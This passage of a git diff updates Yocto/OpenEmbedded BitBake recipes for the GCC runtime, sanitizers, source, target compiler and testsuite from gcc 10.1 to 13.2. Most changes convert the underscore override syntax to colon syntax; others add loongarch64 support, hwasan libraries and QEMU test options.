+ ${AR} rcs ${WORKDIR}/dummylib/libstdc++.a ${WORKDIR}/dummylib/dummylib.o
for d in libgcc ${RUNTIMETARGET}; do
echo "Configuring $d"
rm -rf ${B}/${TARGET_SYS}/$d/
mkdir -p ${B}/${TARGET_SYS}/$d/
cd ${B}/${TARGET_SYS}/$d/
chmod a+x ${S}/$d/configure
- relpath=${@os.path.relpath("${S}/$d", "${B}/${TARGET_SYS}/$d")}
- $relpath/configure ${CONFIGUREOPTS} ${EXTRA_OECONF}
+ ${S}/$d/configure ${CONFIGUREOPTS} ${EXTRA_OECONF}
if [ "$d" = "libgcc" ]; then
(cd ${B}/${TARGET_SYS}/libgcc; oe_runmake enable-execute-stack.c unwind.h md-unwind-support.h sfp-machine.h gthr-default.h)
fi
@@ -91,6 +85,8 @@ do_install () {
cd ${B}/${TARGET_SYS}/$d/
oe_runmake 'DESTDIR=${D}' MULTIBUILDTOP=${B}/${TARGET_SYS}/$d/ install
done
+ install -d ${D}${datadir}/gdb/auto-load/${libdir}
+ mv ${D}${libdir}/libstdc++*-gdb.py ${D}${datadir}/gdb/auto-load/${libdir}
if [ -d ${D}${libdir}/gcc/${TARGET_SYS}/${BINV}/include ]; then
install -d ${D}${libdir}/${TARGET_SYS}/${BINV}/include
mv ${D}${libdir}/gcc/${TARGET_SYS}/${BINV}/include/* ${D}${libdir}/${TARGET_SYS}/${BINV}/include
@@ -105,9 +101,12 @@ do_install () {
if [ -d ${D}${infodir} ]; then
rmdir --ignore-fail-on-non-empty -p ${D}${infodir}
fi
+ if [ -d ${D}${libdir} ]; then
+ rmdir --ignore-fail-on-non-empty -p ${D}${libdir}
+ fi
}
-do_install_append_class-target () {
+do_install:append:class-target () {
if [ "${TARGET_OS}" = "linux-gnuspe" ]; then
ln -s ${TARGET_SYS} ${D}${includedir}/c++/${BINV}/${TARGET_ARCH}${TARGET_VENDOR}-linux
fi
@@ -138,6 +137,10 @@ do_install_append_class-target () {
ln -s ../${TARGET_SYS}/ext ${D}${includedir}/c++/${BINV}/${TARGET_ARCH}${TARGET_VENDOR_MULTILIB_ORIGINAL}-${TARGET_OS}/ext
fi
+ if [ "${TARGET_ARCH}" = "x86_64" -a "${MULTILIB_VARIANTS}" != "" ];then
+ ln -sf ../${X86ARCH32}${TARGET_VENDOR}-${TARGET_OS} ${D}${includedir}/c++/${BINV}/${TARGET_ARCH}${TARGET_VENDOR}-${TARGET_OS}/32
+ fi
+
if [ "${TCLIBC}" != "glibc" ]; then
case "${TARGET_OS}" in
"linux-musl" | "linux-*spe") extra_target_os="linux";;
@@ -180,67 +183,72 @@ PACKAGES = "\
libitm-staticdev \
"
# The base package doesn't exist, so we clear the recommends.
-RRECOMMENDS_${PN}-dbg = ""
+RRECOMMENDS:${PN}-dbg = ""
# include python debugging scripts
-FILES_${PN}-dbg += "\
- ${libdir}/libstdc++.*-gdb.py \
+FILES:${PN}-dbg += "\
${datadir}/gcc-${BINV}/python/libstdcxx \
+ ${datadir}/gdb/auto-load \
"
-
-FILES_libg2c = "${target_libdir}/libg2c.so.*"
-SUMMARY_libg2c = "Companion runtime library for g77"
-FILES_libg2c-dev = "\
+# Needed by libstdcxx pretty printer, however it is disabled intentionally
+# as it adds build time dependency on bash and some cases e.g. no GPL3 cases
+# bash is not availbale and builds fails
+# So it needs to be added manually to images sadly.
+# RDEPENDS:${PN}-dbg += "python3-datetime"
+
+FILES:libg2c = "${target_libdir}/libg2c.so.*"
+SUMMARY:libg2c = "Companion runtime library for g77"
+FILES:libg2c-dev = "\
${libdir}/libg2c.so \
${libdir}/libg2c.a \
${libdir}/libfrtbegin.a \
"
-SUMMARY_libg2c-dev = "Companion runtime library for g77 - development files"
+SUMMARY:libg2c-dev = "Companion runtime library for g77 - development files"
-FILES_libstdc++ = "${libdir}/libstdc++.so.*"
-SUMMARY_libstdc++ = "GNU standard C++ library"
-FILES_libstdc++-dev = "\
+FILES:libstdc++ = "${libdir}/libstdc++.so.*"
+SUMMARY:libstdc++ = "GNU standard C++ library"
+FILES:libstdc++-dev = "\
${includedir}/c++/ \
${libdir}/libstdc++.so \
${libdir}/libstdc++*.la \
${libdir}/libsupc++.la \
"
-SUMMARY_libstdc++-dev = "GNU standard C++ library - development files"
-FILES_libstdc++-staticdev = "\
+SUMMARY:libstdc++-dev = "GNU standard C++ library - development files"
+FILES:libstdc++-staticdev = "\
${libdir}/libstdc++*.a \
${libdir}/libsupc++.a \
"
-SUMMARY_libstdc++-staticdev = "GNU standard C++ library - static development files"
+SUMMARY:libstdc++-staticdev = "GNU standard C++ library - static development files"
-FILES_libstdc++-precompile-dev = "${includedir}/c++/${TARGET_SYS}/bits/*.gch"
-SUMMARY_libstdc++-precompile-dev = "GNU standard C++ library - precompiled header files"
+FILES:libstdc++-precompile-dev = "${includedir}/c++/${TARGET_SYS}/bits/*.gch"
+SUMMARY:libstdc++-precompile-dev = "GNU standard C++ library - precompiled header files"
-FILES_libssp = "${libdir}/libssp.so.*"
-SUMMARY_libssp = "GNU stack smashing protection library"
-FILES_libssp-dev = "\
+FILES:libssp = "${libdir}/libssp.so.*"
+SUMMARY:libssp = "GNU stack smashing protection library"
+FILES:libssp-dev = "\
${libdir}/libssp*.so \
${libdir}/libssp*_nonshared.a \
${libdir}/libssp*.la \
${libdir}/${TARGET_SYS}/${BINV}/include/ssp \
"
-SUMMARY_libssp-dev = "GNU stack smashing protection library - development files"
-FILES_libssp-staticdev = "${libdir}/libssp*.a"
-SUMMARY_libssp-staticdev = "GNU stack smashing protection library - static development files"
+SUMMARY:libssp-dev = "GNU stack smashing protection library - development files"
+FILES:libssp-staticdev = "${libdir}/libssp*.a"
+SUMMARY:libssp-staticdev = "GNU stack smashing protection library - static development files"
-FILES_libquadmath = "${libdir}/libquadmath*.so.*"
-SUMMARY_libquadmath = "GNU quad-precision math library"
-FILES_libquadmath-dev = "\
+FILES:libquadmath = "${libdir}/libquadmath*.so.*"
+SUMMARY:libquadmath = "GNU quad-precision math library"
+FILES:libquadmath-dev = "\
${libdir}/${TARGET_SYS}/${BINV}/include/quadmath* \
${libdir}/libquadmath*.so \
${libdir}/libquadmath.la \
"
-SUMMARY_libquadmath-dev = "GNU quad-precision math library - development files"
-FILES_libquadmath-staticdev = "${libdir}/libquadmath.a"
-SUMMARY_libquadmath-staticdev = "GNU quad-precision math library - static development files"
+SUMMARY:libquadmath-dev = "GNU quad-precision math library - development files"
+FILES:libquadmath-staticdev = "${libdir}/libquadmath.a"
+SUMMARY:libquadmath-staticdev = "GNU quad-precision math library - static development files"
-FILES_libgomp = "${libdir}/libgomp*${SOLIBS}"
-SUMMARY_libgomp = "GNU OpenMP parallel programming library"
-FILES_libgomp-dev = "\
+FILES:libgomp = "${libdir}/libgomp*${SOLIBS}"
+SUMMARY:libgomp = "GNU OpenMP parallel programming library"
+FILES:libgomp-dev = "\
${libdir}/libgomp*${SOLIBSDEV} \
${libdir}/libgomp*.la \
${libdir}/libgomp.spec \
@@ -248,34 +256,34 @@ FILES_libgomp-dev = "\
${libdir}/${TARGET_SYS}/${BINV}/include/omp.h \
${libdir}/${TARGET_SYS}/${BINV}/include/openacc.h \
"
-SUMMARY_libgomp-dev = "GNU OpenMP parallel programming library - development files"
-FILES_libgomp-staticdev = "${libdir}/libgomp*.a"
-SUMMARY_libgomp-staticdev = "GNU OpenMP parallel programming library - static development files"
+SUMMARY:libgomp-dev = "GNU OpenMP parallel programming library - development files"
+FILES:libgomp-staticdev = "${libdir}/libgomp*.a"
+SUMMARY:libgomp-staticdev = "GNU OpenMP parallel programming library - static development files"
-FILES_libatomic = "${libdir}/libatomic.so.*"
-SUMMARY_libatomic = "GNU C++11 atomics support library"
-FILES_libatomic-dev = "\
+FILES:libatomic = "${libdir}/libatomic.so.*"
+SUMMARY:libatomic = "GNU C++11 atomics support library"
+FILES:libatomic-dev = "\
${libdir}/libatomic.so \
${libdir}/libatomic.la \
"
-SUMMARY_libatomic-dev = "GNU C++11 atomics support library - development files"
-FILES_libatomic-staticdev = "${libdir}/libatomic.a"
-SUMMARY_libatomic-staticdev = "GNU C++11 atomics support library - static development files"
+SUMMARY:libatomic-dev = "GNU C++11 atomics support library - development files"
+FILES:libatomic-staticdev = "${libdir}/libatomic.a"
+SUMMARY:libatomic-staticdev = "GNU C++11 atomics support library - static development files"
-FILES_libitm = "${libdir}/libitm.so.*"
-SUMMARY_libitm = "GNU transactional memory support library"
-FILES_libitm-dev = "\
+FILES:libitm = "${libdir}/libitm.so.*"
+SUMMARY:libitm = "GNU transactional memory support library"
+FILES:libitm-dev = "\
${libdir}/libitm.so \
${libdir}/libitm.la \
${libdir}/libitm.spec \
"
-SUMMARY_libitm-dev = "GNU transactional memory support library - development files"
-FILES_libitm-staticdev = "${libdir}/libitm.a"
-SUMMARY_libitm-staticdev = "GNU transactional memory support library - static development files"
+SUMMARY:libitm-dev = "GNU transactional memory support library - development files"
+FILES:libitm-staticdev = "${libdir}/libitm.a"
+SUMMARY:libitm-staticdev = "GNU transactional memory support library - static development files"
require gcc-testsuite.inc
-EXTRA_OEMAKE_prepend_task-check = "${PARALLEL_MAKE} "
+EXTRA_OEMAKE:prepend:task-check = "${PARALLEL_MAKE} "
MAKE_CHECK_TARGETS ??= "check-gcc ${@" ".join("check-target-" + i for i in d.getVar("RUNTIMETARGET").split())}"
# prettyprinters and xmethods require gdb tooling
@@ -296,7 +304,7 @@ do_check() {
export DEJAGNU="${WORKDIR}/dejagnu/site.exp"
# HACK: this works around the configure setting CXX with -nostd* args
- sed -i 's/-nostdinc++ -nostdlib++//g' $(find ${B} -name testsuite_flags | head -1)
+ sed -i 's#-nostdinc++ -L${WORKDIR}/dummylib##g' $(find ${B} -name testsuite_flags | head -1)
if [ "${TOOLCHAIN_TEST_TARGET}" = "user" ]; then
# qemu user has issues allocating large amounts of memory
diff --git a/meta/recipes-devtools/gcc/gcc-runtime_10.1.bb b/meta/recipes-devtools/gcc/gcc-runtime_13.2.bb
index dd430b57eb..dd430b57eb 100644
--- a/meta/recipes-devtools/gcc/gcc-runtime_10.1.bb
+++ b/meta/recipes-devtools/gcc/gcc-runtime_13.2.bb
diff --git a/meta/recipes-devtools/gcc/gcc-sanitizers.inc b/meta/recipes-devtools/gcc/gcc-sanitizers.inc
index 668e14a59f..524ebd4ba4 100644
--- a/meta/recipes-devtools/gcc/gcc-sanitizers.inc
+++ b/meta/recipes-devtools/gcc/gcc-sanitizers.inc
@@ -35,6 +35,11 @@ do_compile () {
do_install () {
cd ${B}/${TARGET_SYS}/libsanitizer/
oe_runmake 'DESTDIR=${D}' MULTIBUILDTOP=${B}/${TARGET_SYS}/libsanitizer/ install
+ if [ -d ${D}${libdir}/gcc/${TARGET_SYS}/${BINV}/include ]; then
+ install -d ${D}${libdir}/${TARGET_SYS}/${BINV}/include
+ mv ${D}${libdir}/gcc/${TARGET_SYS}/${BINV}/include/* ${D}${libdir}/${TARGET_SYS}/${BINV}/include
+ rmdir --ignore-fail-on-non-empty -p ${D}${libdir}/gcc/${TARGET_SYS}/${BINV}/include
+ fi
if [ -d ${D}${infodir} ]; then
rmdir --ignore-fail-on-non-empty -p ${D}${infodir}
fi
@@ -42,11 +47,11 @@ do_install () {
}
INHIBIT_DEFAULT_DEPS = "1"
-ALLOW_EMPTY_${PN} = "1"
+ALLOW_EMPTY:${PN} = "1"
DEPENDS = "virtual/crypt gcc-runtime virtual/${TARGET_PREFIX}gcc"
# used to fix ../../../../../../../../../work-shared/gcc-8.3.0-r0/gcc-8.3.0/libsanitizer/libbacktrace/../../libbacktrace/elf.c:772:21: error: 'st.st_mode' may be used uninitialized in this function [-Werror=maybe-uninitialized]
-DEBUG_OPTIMIZATION_append = " -Wno-error"
+DEBUG_OPTIMIZATION:append = " -Wno-error"
BBCLASSEXTEND = "nativesdk"
@@ -55,58 +60,62 @@ PACKAGES += "libasan libubsan liblsan libtsan"
PACKAGES += "libasan-dev libubsan-dev liblsan-dev libtsan-dev"
PACKAGES += "libasan-staticdev libubsan-staticdev liblsan-staticdev libtsan-staticdev"
-RDEPENDS_libasan += "libstdc++"
-RDEPENDS_libubsan += "libstdc++"
-RDEPENDS_liblsan += "libstdc++"
-RDEPENDS_libtsan += "libstdc++"
-RDEPENDS_libasan-dev += "${PN}"
-RDEPENDS_libubsan-dev += "${PN}"
-RDEPENDS_liblsan-dev += "${PN}"
-RDEPENDS_libtsan-dev += "${PN}"
-RRECOMMENDS_${PN} += "libasan libubsan"
-RRECOMMENDS_${PN}_append_x86 = " liblsan"
-RRECOMMENDS_${PN}_append_x86-64 = " liblsan libtsan"
-RRECOMMENDS_${PN}_append_powerpc64 = " liblsan libtsan"
-RRECOMMENDS_${PN}_append_aarch64 = " liblsan libtsan"
+RDEPENDS:libasan += "libstdc++"
+RDEPENDS:libubsan += "libstdc++"
+RDEPENDS:liblsan += "libstdc++"
+RDEPENDS:libtsan += "libstdc++"
+RDEPENDS:libasan-dev += "${PN}"
+RDEPENDS:libubsan-dev += "${PN}"
+RDEPENDS:liblsan-dev += "${PN}"
+RDEPENDS:libtsan-dev += "${PN}"
+RRECOMMENDS:${PN} += "libasan libubsan"
+RRECOMMENDS:${PN}:append:x86 = " liblsan"
+RRECOMMENDS:${PN}:append:x86-64 = " liblsan libtsan"
+RRECOMMENDS:${PN}:append:powerpc64 = " liblsan libtsan"
+RRECOMMENDS:${PN}:append:aarch64 = " liblsan libtsan"
do_package_write_ipk[depends] += "virtual/${MLPREFIX}${TARGET_PREFIX}compilerlibs:do_packagedata"
do_package_write_deb[depends] += "virtual/${MLPREFIX}${TARGET_PREFIX}compilerlibs:do_packagedata"
do_package_write_rpm[depends] += "virtual/${MLPREFIX}${TARGET_PREFIX}compilerlibs:do_packagedata"
-# Only x86, powerpc, sparc, s390, arm, and aarch64 are supported
-COMPATIBLE_HOST = '(x86_64|i.86|powerpc|sparc|s390|arm|aarch64).*-linux'
+# Only x86, powerpc, sparc, s390, arm, aarch64 and loongarch64 are supported
+COMPATIBLE_HOST = '(x86_64|i.86|powerpc|sparc|s390|arm|aarch64|loongarch64).*-linux'
# musl is currently broken entirely
-COMPATIBLE_HOST_libc-musl = 'null'
+COMPATIBLE_HOST:libc-musl = 'null'
-FILES_libasan += "${libdir}/libasan.so.*"
-FILES_libasan-dev += "\
+FILES:libasan += "${libdir}/libasan.so.* ${libdir}/libhwasan.so.*"
+FILES:libasan-dev += "\
${libdir}/libasan_preinit.o \
+ ${libdir}/libhwasan_preinit.o \
${libdir}/libasan.so \
+ ${libdir}/libhwasan.so \
${libdir}/libasan.la \
"
-FILES_libasan-staticdev += "${libdir}/libasan.a"
+FILES:libasan-staticdev += "${libdir}/libasan.a \
+ ${libdir}/libhwasan.a \
+"
-FILES_libubsan += "${libdir}/libubsan.so.*"
-FILES_libubsan-dev += "\
+FILES:libubsan += "${libdir}/libubsan.so.*"
+FILES:libubsan-dev += "\
${libdir}/libubsan.so \
${libdir}/libubsan.la \
"
-FILES_libubsan-staticdev += "${libdir}/libubsan.a"
+FILES:libubsan-staticdev += "${libdir}/libubsan.a"
-FILES_liblsan += "${libdir}/liblsan.so.*"
-FILES_liblsan-dev += "\
+FILES:liblsan += "${libdir}/liblsan.so.*"
+FILES:liblsan-dev += "\
${libdir}/liblsan.so \
${libdir}/liblsan.la \
${libdir}/liblsan_preinit.o \
"
-FILES_liblsan-staticdev += "${libdir}/liblsan.a"
+FILES:liblsan-staticdev += "${libdir}/liblsan.a"
-FILES_libtsan += "${libdir}/libtsan.so.*"
-FILES_libtsan-dev += "\
+FILES:libtsan += "${libdir}/libtsan.so.*"
+FILES:libtsan-dev += "\
${libdir}/libtsan.so \
${libdir}/libtsan.la \
${libdir}/libtsan_*.o \
"
-FILES_libtsan-staticdev += "${libdir}/libtsan.a"
+FILES:libtsan-staticdev += "${libdir}/libtsan.a"
-FILES_${PN} = "${libdir}/*.spec ${libdir}/gcc/${TARGET_SYS}/${BINV}/include/sanitizer/*.h"
+FILES:${PN} = "${libdir}/*.spec ${libdir}/${TARGET_SYS}/${BINV}/include/sanitizer/*.h"
diff --git a/meta/recipes-devtools/gcc/gcc-sanitizers_10.1.bb b/meta/recipes-devtools/gcc/gcc-sanitizers_10.1.bb
deleted file mode 100644
index f3c7058114..0000000000
--- a/meta/recipes-devtools/gcc/gcc-sanitizers_10.1.bb
+++ /dev/null
@@ -1,7 +0,0 @@
-require recipes-devtools/gcc/gcc-${PV}.inc
-require gcc-sanitizers.inc
-
-# Building with thumb enabled on armv4t armv5t fails with
-# sanitizer_linux.s:5749: Error: lo register required -- `ldr ip,[sp],#8'
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
diff --git a/meta/recipes-devtools/gcc/gcc-sanitizers_13.2.bb b/meta/recipes-devtools/gcc/gcc-sanitizers_13.2.bb
new file mode 100644
index 0000000000..8bda2ccad6
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc-sanitizers_13.2.bb
@@ -0,0 +1,7 @@
+require recipes-devtools/gcc/gcc-${PV}.inc
+require gcc-sanitizers.inc
+
+# Building with thumb enabled on armv4t armv5t fails with
+# sanitizer_linux.s:5749: Error: lo register required -- `ldr ip,[sp],#8'
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
diff --git a/meta/recipes-devtools/gcc/gcc-shared-source.inc b/meta/recipes-devtools/gcc/gcc-shared-source.inc
index aac4b49313..03f520b093 100644
--- a/meta/recipes-devtools/gcc/gcc-shared-source.inc
+++ b/meta/recipes-devtools/gcc/gcc-shared-source.inc
@@ -9,3 +9,13 @@ SRC_URI = ""
do_configure[depends] += "gcc-source-${PV}:do_preconfigure"
do_populate_lic[depends] += "gcc-source-${PV}:do_unpack"
+do_deploy_source_date_epoch[depends] += "gcc-source-${PV}:do_deploy_source_date_epoch"
+
+# Copy the SDE from the shared workdir to the recipe workdir
+do_deploy_source_date_epoch () {
+ sde_file=${SDE_FILE}
+ sde_file=${sde_file#${WORKDIR}/}
+ mkdir -p ${SDE_DEPLOYDIR} $(dirname ${SDE_FILE})
+ cp -p $(dirname ${S})/$sde_file ${SDE_DEPLOYDIR}
+ cp -p $(dirname ${S})/$sde_file ${SDE_FILE}
+}
diff --git a/meta/recipes-devtools/gcc/gcc-source.inc b/meta/recipes-devtools/gcc/gcc-source.inc
index 03bab97815..265bcf4bef 100644
--- a/meta/recipes-devtools/gcc/gcc-source.inc
+++ b/meta/recipes-devtools/gcc/gcc-source.inc
@@ -17,15 +17,21 @@ STAMPCLEAN = "${STAMPS_DIR}/work-shared/gcc-${PV}-*"
INHIBIT_DEFAULT_DEPS = "1"
DEPENDS = ""
PACKAGES = ""
+TARGET_ARCH = "allarch"
+TARGET_AS_ARCH = "none"
+TARGET_CC_ARCH = "none"
+TARGET_LD_ARCH = "none"
+TARGET_OS = "linux"
+baselib = "lib"
+PACKAGE_ARCH = "all"
+B = "${WORKDIR}/build"
# This needs to be Python to avoid lots of shell variables becoming dependencies.
python do_preconfigure () {
import subprocess
cmd = d.expand('cd ${S} && PATH=${PATH} gnu-configize')
subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True)
- # See 0044-gengtypes.patch, we need to regenerate this file
- bb.utils.remove(d.expand("${S}/gcc/gengtype-lex.c"))
cmd = d.expand("sed -i 's/BUILD_INFO=info/BUILD_INFO=/' ${S}/gcc/configure")
subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True)
diff --git a/meta/recipes-devtools/gcc/gcc-source_10.1.bb b/meta/recipes-devtools/gcc/gcc-source_13.2.bb
index b890fa33ea..b890fa33ea 100644
--- a/meta/recipes-devtools/gcc/gcc-source_10.1.bb
+++ b/meta/recipes-devtools/gcc/gcc-source_13.2.bb
diff --git a/meta/recipes-devtools/gcc/gcc-target.inc b/meta/recipes-devtools/gcc/gcc-target.inc
index 1e25dad86b..7dac3ef422 100644
--- a/meta/recipes-devtools/gcc/gcc-target.inc
+++ b/meta/recipes-devtools/gcc/gcc-target.inc
@@ -5,7 +5,7 @@ EXTRA_OECONF_PATHS = "\
--with-build-sysroot=${STAGING_DIR_TARGET} \
"
-EXTRA_OECONF_append_linuxstdbase = " --enable-clocale=gnu"
+EXTRA_OECONF:append:linuxstdbase = " --enable-clocale=gnu"
# Configure gcc running on the target to default to an architecture which will
# be compatible with that of gcc-runtime (which is cross compiled to be target
@@ -15,11 +15,11 @@ EXTRA_OECONF_append_linuxstdbase = " --enable-clocale=gnu"
ARMFPARCHEXT ?= ""
-EXTRA_OECONF_append_armv6_class-target = " --with-arch=armv6${ARMFPARCHEXT}"
-EXTRA_OECONF_append_armv7a_class-target = " --with-arch=armv7-a${ARMFPARCHEXT}"
-EXTRA_OECONF_append_armv7ve_class-target = " --with-arch=armv7ve${ARMFPARCHEXT}"
-EXTRA_OECONF_append_arc_class-target = " --with-cpu=${TUNE_PKGARCH}"
-EXTRA_OECONF_append_x86-64_class-target = " --with-arch=native"
+EXTRA_OECONF:append:armv6:class-target = " --with-arch=armv6${ARMFPARCHEXT}"
+EXTRA_OECONF:append:armv7a:class-target = " --with-arch=armv7-a${ARMFPARCHEXT}"
+EXTRA_OECONF:append:armv7ve:class-target = " --with-arch=armv7ve${ARMFPARCHEXT}"
+EXTRA_OECONF:append:arc:class-target = " --with-cpu=${TUNE_PKGARCH}"
+EXTRA_OECONF:append:x86-64:class-target = " ${@get_gcc_x86_64_arch_setting(bb, d)}"
# libcc1 requres gcc_cv_objdump when cross build, but gcc_cv_objdump is
# set in subdir gcc, so subdir libcc1 can't use it, export it here to
@@ -40,11 +40,11 @@ PACKAGES = "\
${PN}-dbg \
"
-FILES_${PN} = "\
+FILES:${PN} = "\
${bindir}/${TARGET_PREFIX}gcc* \
${bindir}/${TARGET_PREFIX}lto* \
${libexecdir}/gcc/${TARGET_SYS}/${BINV}/collect2* \
- ${libexecdir}/gcc/${TARGET_SYS}/${BINV}/cc1plus \
+ ${libexecdir}/gcc/${TARGET_SYS}/${BINV}/g++-mapper-server \
${libexecdir}/gcc/${TARGET_SYS}/${BINV}/lto* \
${libexecdir}/gcc/${TARGET_SYS}/${BINV}/lib*${SOLIBS} \
${libexecdir}/gcc/${TARGET_SYS}/${BINV}/liblto*${SOLIBSDEV} \
@@ -53,86 +53,87 @@ FILES_${PN} = "\
${gcclibdir}/${TARGET_SYS}/${BINV}/lib*${SOLIBS} \
${gcclibdir}/${TARGET_SYS}/${BINV}/include \
${gcclibdir}/${TARGET_SYS}/${BINV}/include-fixed \
+ ${libdir}/bfd-plugins/*.so \
"
-INSANE_SKIP_${PN} += "dev-so"
-RRECOMMENDS_${PN} += "\
+INSANE_SKIP:${PN} += "dev-so"
+RRECOMMENDS:${PN} += "\
libssp \
libssp-dev \
"
-RDEPENDS_${PN} += "cpp"
+RDEPENDS:${PN} += "cpp"
-FILES_${PN}-dev = "\
+FILES:${PN}-dev = "\
${gcclibdir}/${TARGET_SYS}/${BINV}/lib*${SOLIBSDEV} \
${libexecdir}/gcc/${TARGET_SYS}/${BINV}/lib*${SOLIBSDEV} \
${gcclibdir}/${TARGET_SYS}/${BINV}/plugin/include/ \
${libexecdir}/gcc/${TARGET_SYS}/${BINV}/plugin/gengtype \
${gcclibdir}/${TARGET_SYS}/${BINV}/plugin/gtype.state \
"
-FILES_${PN}-symlinks = "\
+FILES:${PN}-symlinks = "\
${bindir}/cc \
${bindir}/gcc \
${bindir}/gccbug \
"
-FILES_${PN}-plugins = "\
+FILES:${PN}-plugins = "\
${gcclibdir}/${TARGET_SYS}/${BINV}/plugin \
"
-ALLOW_EMPTY_${PN}-plugins = "1"
+ALLOW_EMPTY:${PN}-plugins = "1"
-FILES_g77 = "\
+FILES:g77 = "\
${bindir}/${TARGET_PREFIX}g77 \
${libexecdir}/gcc/${TARGET_SYS}/${BINV}/f771 \
"
-FILES_g77-symlinks = "\
+FILES:g77-symlinks = "\
${bindir}/g77 \
${bindir}/f77 \
"
-RRECOMMENDS_g77 = "\
+RRECOMMENDS:g77 = "\
libg2c \
libg2c-dev \
"
-FILES_gfortran = "\
+FILES:gfortran = "\
${bindir}/${TARGET_PREFIX}gfortran \
${libexecdir}/gcc/${TARGET_SYS}/${BINV}/f951 \
"
-RRECOMMENDS_gfortran = "\
+RRECOMMENDS:gfortran = "\
libquadmath \
libquadmath-dev \
"
-FILES_gfortran-symlinks = "\
+FILES:gfortran-symlinks = "\
${bindir}/gfortran \
${bindir}/f95"
-FILES_cpp = "\
+FILES:cpp = "\
${bindir}/${TARGET_PREFIX}cpp* \
${base_libdir}/cpp \
${libexecdir}/gcc/${TARGET_SYS}/${BINV}/cc1"
-FILES_cpp-symlinks = "${bindir}/cpp"
+FILES:cpp-symlinks = "${bindir}/cpp"
-FILES_gcov = "${bindir}/${TARGET_PREFIX}gcov* \
+FILES:gcov = "${bindir}/${TARGET_PREFIX}gcov* \
${bindir}/${TARGET_PREFIX}gcov-tool* \
"
-FILES_gcov-symlinks = "${bindir}/gcov \
+FILES:gcov-symlinks = "${bindir}/gcov \
${bindir}/gcov-tool \
"
-FILES_g++ = "\
+FILES:g++ = "\
${bindir}/${TARGET_PREFIX}g++* \
${libexecdir}/gcc/${TARGET_SYS}/${BINV}/cc1plus \
"
-FILES_g++-symlinks = "\
+FILES:g++-symlinks = "\
${bindir}/c++ \
${bindir}/g++ \
"
-RRECOMMENDS_g++ = "\
+RRECOMMENDS:g++ = "\
libstdc++ \
libstdc++-dev \
libatomic \
libatomic-dev \
"
-FILES_${PN}-doc = "\
+FILES:${PN}-doc = "\
${infodir} \
${mandir} \
${gcclibdir}/${TARGET_SYS}/${BINV}/include/README \
@@ -191,7 +192,7 @@ do_install () {
rm -f *c++*
# We don't care about the gcc-<version> ones for this
- rm -f *gcc-?.?*
+ rm -f *gcc-?*.?*
# Not sure why we end up with these but we don't want them...
rm -f ${TARGET_PREFIX}${TARGET_PREFIX}*
@@ -214,11 +215,12 @@ do_install () {
ln -sf ${bindir}/${TARGET_PREFIX}cpp ${D}${base_libdir}/cpp
ln -sf g++ c++
ln -sf gcc cc
-
+ install -d ${D}${libdir}/bfd-plugins
+ ln -sf ${libexecdir}/gcc/${TARGET_SYS}/${BINV}/liblto_plugin.so ${D}${libdir}/bfd-plugins/liblto_plugin.so
chown -R root:root ${D}
}
-do_install_append () {
+do_install:append () {
#
# Thefixinc.sh script, run on the gcc's compile phase, looks into sysroot header
# files and places the modified files into
@@ -254,4 +256,4 @@ do_install_append () {
# and builds track file dependencies (e.g. perl and its makedepends code).
# For determinism we don't install this ever and rely on the copy from gcc-cross.
# [YOCTO #7287]
-SYSROOT_DIRS_BLACKLIST += "${libdir}/gcc"
+SYSROOT_DIRS_IGNORE += "${libdir}/gcc"
diff --git a/meta/recipes-devtools/gcc/gcc-testsuite.inc b/meta/recipes-devtools/gcc/gcc-testsuite.inc
index f68fec58ed..f16d471478 100644
--- a/meta/recipes-devtools/gcc/gcc-testsuite.inc
+++ b/meta/recipes-devtools/gcc/gcc-testsuite.inc
@@ -51,9 +51,14 @@ python check_prepare() {
# enable all valid instructions, since the test suite itself does not
# limit itself to the target cpu options.
# - valid for x86*, powerpc, arm, arm64
- if qemu_binary.lstrip("qemu-") in ["x86_64", "i386", "ppc", "arm", "aarch64"]:
+ if qemu_binary.endswith(("x86_64", "i386", "arm", "aarch64")):
args += ["-cpu", "max"]
-
+ elif qemu_binary.endswith(("ppc", "mips", "mips64")):
+ extra = d.getVar("QEMU_EXTRAOPTIONS_%s" % d.getVar('PACKAGE_ARCH'))
+ if extra:
+ args += extra.split()
+ # For mips64 we could set a maximal CPU (e.g. Loongson-3A4000) however they either have MSA
+ # or Loongson-MMI vector extensions, not both and qemu lacks complete support for MMI
sysroot = d.getVar("RECIPE_SYSROOT")
args += ["-L", sysroot]
# lib paths are static here instead of using $libdir since this is used by a -cross recipe
diff --git a/meta/recipes-devtools/gcc/gcc-10.1/0001-gcc-4.3.1-ARCH_FLAGS_FOR_TARGET.patch b/meta/recipes-devtools/gcc/gcc/0001-gcc-4.3.1-ARCH_FLAGS_FOR_TARGET.patch
index 82ae9f8d14..5c75698eda 100644
--- a/meta/recipes-devtools/gcc/gcc-10.1/0001-gcc-4.3.1-ARCH_FLAGS_FOR_TARGET.patch
+++ b/meta/recipes-devtools/gcc/gcc/0001-gcc-4.3.1-ARCH_FLAGS_FOR_TARGET.patch
@@ -1,4 +1,4 @@
-From f2a5dc3bc7e5727d6bf77e1c6e8a31a6f000883d Mon Sep 17 00:00:00 2001
+From 553564bdcabdcc5d4cc4de73c7eb94c505ef51f5 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Fri, 29 Mar 2013 08:37:11 +0400
Subject: [PATCH] gcc-4.3.1: ARCH_FLAGS_FOR_TARGET
@@ -12,10 +12,10 @@ Upstream-Status: Inappropriate [embedded specific]
2 files changed, 2 insertions(+), 2 deletions(-)
diff --git a/configure b/configure
-index 4cc938ebb7d..226a64939d1 100755
+index 117a7ef23f2..535265253fd 100755
--- a/configure
+++ b/configure
-@@ -7722,7 +7722,7 @@ fi
+@@ -10195,7 +10195,7 @@ fi
# for target_alias and gcc doesn't manage it consistently.
target_configargs="--cache-file=./config.cache ${target_configargs}"
@@ -25,10 +25,10 @@ index 4cc938ebb7d..226a64939d1 100755
*" newlib "*)
case " $target_configargs " in
diff --git a/configure.ac b/configure.ac
-index c78d9cbea62..f024f4bac9b 100644
+index b3e9bbd2aa5..5ac8d6490f6 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -3227,7 +3227,7 @@ fi
+@@ -3351,7 +3351,7 @@ fi
# for target_alias and gcc doesn't manage it consistently.
